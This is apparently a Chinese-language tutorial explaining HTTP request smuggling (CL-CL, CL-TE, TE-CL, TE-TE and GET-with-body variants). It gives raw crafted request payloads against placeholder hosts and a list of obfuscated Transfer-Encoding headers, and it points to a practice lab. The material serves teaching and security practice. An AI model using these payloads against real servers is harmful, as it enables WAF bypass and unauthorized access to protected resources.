HTTP走私攻击

HTTP请求走私是一种技术,用来干扰网站处理用户的HTTP请求,可以用来绕过waf,进而实现对敏感数据的未授权访问

原理

由于不同服务器对RFC标准实现的方法和标准不同,对同一个HTTP请求,不同服务器采取不同的处理方法,导致了不同的结果

利用方式

CL(Content-Length)不为0时的GET请求

RFC2616中,并没有对GET请求像POST请求那样携带请求体作出规定。在RFC7231中也仅仅是提醒了一下

假设代理服务器允许GET请求携带请求体,但是后端服务器不允许GET请求携带请求体,那么后端服务器会忽略掉代理服务器传过来的GET请求中的Content-Length头,不进行处理,这样就会导致请求走私

1
2
3
4
5
6
GET / HTTP/1.1
Host: xxx.com
Content-Length: 32

GET /flag HTTP/1.1
Host: xxx.com

前端服务器收到请求后,通过读取CL,判断这是一个完整的请求,转发给后端服务器。然后后端服务器收到后,因其不对CL进行处理,所以认为收到了两个请求

1
2
3
GET / HTTP/1.1
Host: xxx.com
Content-Length: 32

1
2
GET /flag HTTP/1.1
Host: xxx.com

因此走私了一个包

CL-CL型

RFC7230中,规定当服务器收到两个CL但是两者不同时,返回400错误

但是在不执行此规范的服务器来说,前端服务器会按照第一个CL的值对请求进行处理,后端服务器会按照第二个CL的值进行处理

假如现在有两个包

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: xxx.com
Content-Length: 6
Content-Length: 5

123456
POST / HTTP/1.1
Host: xxx.com
Content-Length: 6

123456

对于前端来说第一个包就是

1
2
3
4
5
POST / HTTP/1.1
Host: xxx.com
Content-Length: 6

123456

对于后端会被处理成

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: xxx.com
Content-Length: 6
Content-Length: 5

12345
6POST / HTTP/1.1
Host: xxx.com
Content-Length: 6

123456

CL-TE型

前端服务器只处理Content-Length这一请求头,后端服务器则忽略它只处理Transfer-Encoding请求头

Transfer-Encoding为chunked的时候,会分块传输,chunk包含块头和数据体,二者以及块之间以CLRF符号分割(\r\n)如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET / HTTP/1.1
Content-Type: text/plain
Transfer-Encoding: chunked



25\r\n
This is the data in the first chunk\r\n



1C\r\n
and this is the second one\r\n



3\r\n

con\r\n

假设我们整一个包

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: xxx.com
Content-Length: 6
Transfer-Encoding: chunked

0

flag

前端服务器处理CL,确认请求正文的长度为13字节,然后转发该请求到后端服务器,后端服务器处理TE头,因此使用分块传输,处理了第一个块,长度声明为0,那么终止请求,下面的flag字符就走私了,后端服务器认为他们是下一个请求的开始

TE-CL型

前端服务器只处理Transfer-Encoding这一请求头,后端服务器忽略该请求头,只处理CL

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

4
flag
0

前端服务器处理Transfer-Encoding头,因此将消息体视为使用分块编码。它处理第一个块,它被声明为4字节长,直到下面一行的开始走私。它处理第二个块,它声明为零长度,因此被视为终止请求。此请求被转发到后端服务器。

后端服务器处理Content-Length标头,并确定请求正文的长度为3个字节,直到下一行的开头。以下字节,从flag,则后端服务器将把它们视为序列中下一个请求的开始,要注意此处读取的是4\r\n,所以是3个字节

TE-TE型

当前端和后端服务器都支持TE头,可以通过某种方式来混淆导致其中一个服务器不处理它

1
2
3
4
5
6
7
8
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked[space]
Transfer-Encoding: chunkedX: X[\n]
Transfer-Encoding: chunked
Transfer-Encoding: chunked

参考资料:https://paper.seebug.org/1048/

靶场:https://portswigger.net/web-security/request-smuggling